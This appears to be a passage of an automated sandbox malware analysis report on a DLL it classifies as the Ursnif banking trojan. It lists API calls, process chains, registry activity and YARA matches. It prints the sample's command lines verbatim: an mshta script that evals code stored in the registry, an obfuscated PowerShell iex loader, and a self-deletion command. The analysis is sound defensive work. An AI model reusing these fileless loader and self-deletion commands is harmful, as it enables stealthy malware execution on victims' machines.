Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580710A GetProcAddress,NtCreateSection,memset, 2_2_0580710A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05817950 NtAllocateVirtualMemory,NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError, 2_2_05817950
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058100DC RtlInitializeCriticalSection,RtlInitializeCriticalSection,memset,RtlInitializeCriticalSection,CreateMutexA,GetLastError,GetLastError,CloseHandle,GetUserNameA,GetUserNameA,RtlAllocateHeap,GetUserNameA,NtQueryInformationProcess,OpenProcess,GetLastError,CloseHandle,GetShellWindow,GetWindowThreadProcessId,memcpy,CreateEventA,CreateEventA,RtlAllocateHeap,OpenEventA,CreateEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA, 2_2_058100DC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581A806 NtWow64ReadVirtualMemory64,GetProcAddress,NtWow64ReadVirtualMemory64, 2_2_0581A806
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05815312 NtWriteVirtualMemory,VirtualProtectEx,NtWriteVirtualMemory,RtlNtStatusToDosError,SetLastError, 2_2_05815312
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05812331 GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread, 2_2_05812331
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058064C4 memset,NtQueryInformationProcess, 2_2_058064C4
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580B7D5 NtQueryInformationThread,GetLastError,RtlNtStatusToDosError, 2_2_0580B7D5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580D77A NtQueryKey,NtQueryKey,lstrlenW,NtQueryKey,lstrcpyW, 2_2_0580D77A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058036BB NtGetContextThread,RtlNtStatusToDosError, 2_2_058036BB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058010C7 OpenProcess,GetLastError,GetProcAddress,NtSetInformationProcess,RtlNtStatusToDosError,GetProcAddress,GetProcAddress,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle, 2_2_058010C7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05813829 NtQuerySystemInformation,RtlNtStatusToDosError, 2_2_05813829
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0581EAC5 memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError, 2_2_0581EAC5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05815220 NtReadVirtualMemory,RtlNtStatusToDosError,SetLastError, 2_2_05815220
Sample file is different than original file name gathered from version info
Source: qOfIxt1fnQ.dll Binary or memory string: OriginalFilenamemyfile.exe$ vs qOfIxt1fnQ.dll
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
PE file contains strange resources
Source: qOfIxt1fnQ.dll Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: qOfIxt1fnQ.dll ReversingLabs: Detection: 50%
Source: qOfIxt1fnQ.dll Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\loaddll32.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\qOfIxt1fnQ.dll"
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\qOfIxt1fnQ.dll",#1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\qOfIxt1fnQ.dll",#1
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Rwr3='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Rwr3).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gcqrbwksb -value gp; new-alias -name jkgyvx -value iex; jkgyvx ([System.Text.Encoding]::ASCII.GetString((gcqrbwksb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zek5yaft\zek5yaft.cmdline
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES1B0A.tmp" "c:\Users\user\AppData\Local\Temp\zek5yaft\CSC3DAC9030B4CB46878A3398CFC11AF7A7.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zbedhqob\zbedhqob.cmdline
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES3EDE.tmp" "c:\Users\user\AppData\Local\Temp\zbedhqob\CSCD26AEEEF9294175AE6FC384D1631824.TMP"
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\qOfIxt1fnQ.dll
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\loaddll32.exe Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\qOfIxt1fnQ.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\qOfIxt1fnQ.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name gcqrbwksb -value gp; new-alias -name jkgyvx -value iex; jkgyvx ([System.Text.Encoding]::ASCII.GetString((gcqrbwksb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zek5yaft\zek5yaft.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zbedhqob\zbedhqob.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES1B0A.tmp" "c:\Users\user\AppData\Local\Temp\zek5yaft\CSC3DAC9030B4CB46878A3398CFC11AF7A7.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RES3EDE.tmp" "c:\Users\user\AppData\Local\Temp\zbedhqob\CSCD26AEEEF9294175AE6FC384D1631824.TMP" Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\qOfIxt1fnQ.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Documents\20220504 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0zsko4if.iqj.ps1 Jump to behavior
Source: classification engine Classification label: mal100.bank.troj.evad.winDLL@24/18@0/1
Source: C:\Windows\System32\mshta.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Section loaded: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE68BD CreateToolhelp32Snapshot,Process32First,Process32Next,FindCloseChangeNotification, 2_2_00FE68BD
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\qOfIxt1fnQ.dll",#1
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5028:120:WilError_01
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\{B444A02E-8328-0634-AD28-679A31DC8B6E}
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5532:120:WilError_01
Source: C:\Windows\System32\control.exe Mutant created: \Sessions\1\BaseNamedObjects\{5009D833-6F4C-020F-7984-1356BDF8F7EA}
Source: C:\Windows\SysWOW64\rundll32.exe Mutant created: \Sessions\1\BaseNamedObjects\{301159BA-CFF2-E2C1-D964-73361DD857CA}
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: qOfIxt1fnQ.dll Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000002.00000003.481341256.0000000005E10000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.486547217.0000000005E10000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: d:\in\the\town\where\ahung.pdb source: qOfIxt1fnQ.dll
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000002.00000003.481341256.0000000005E10000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.486547217.0000000005E10000.00000004.00001000.00020000.00000000.sdmp
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE7EA0 push ecx; ret 2_2_00FE7EA9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_00FE828B push ecx; ret 2_2_00FE829B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05823D9F push ecx; ret 2_2_05823DAF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05803495 push ecx; mov dword ptr [esp], 00000002h 2_2_05803496
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_058238A0 push ecx; ret 2_2_058238A9
PE file contains sections with non-standard names
Source: qOfIxt1fnQ.dll Static PE information: section name: .erloc
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580EC00 RegOpenKeyA,LoadLibraryA,GetProcAddress,GetLastError,FreeLibrary,GetLastError,RegCloseKey, 2_2_0580EC00
PE file contains an invalid checksum
Source: zek5yaft.dll.18.dr Static PE information: real checksum: 0x0 should be: 0x81dc
Source: qOfIxt1fnQ.dll Static PE information: real checksum: 0x79835 should be: 0x7b2a1
Source: zbedhqob.dll.21.dr Static PE information: real checksum: 0x0 should be: 0x3375
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zek5yaft\zek5yaft.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zbedhqob\zbedhqob.cmdline
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zek5yaft\zek5yaft.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\zbedhqob\zbedhqob.cmdline Jump to behavior
Drops PE files
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\zek5yaft\zek5yaft.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\zbedhqob\zbedhqob.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Yara detected Ursnif
Source: Yara match File source: 00000010.00000003.492379314.000001F7004CC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.422014842.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.478528295.0000000005DF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376465602.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376077940.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.494043420.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376224243.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376293095.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376618424.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376605929.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.493947920.000001C787C8C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376565939.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.425214874.0000000004FBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423746626.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.376373630.00000000051B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 4428, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 5600, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: control.exe PID: 492, type: MEMORYSTR
Source: Yara match File source: 2.2.rundll32.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d194a0.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4d194a0.10.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.5166b40.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.5166b40.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.50ba4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.51394a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.50ba4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000003.539442937.0000000004D19000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.541455340.0000000004E3F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.490107401.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.490844761.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.542153003.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423030052.00000000050BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000000.492781969.0000000000C60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.423208841.0000000005139000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Self deletion via cmd delete
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\qOfIxt1fnQ.dll
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\qOfIxt1fnQ.dll Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\SysWOW64\rundll32.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
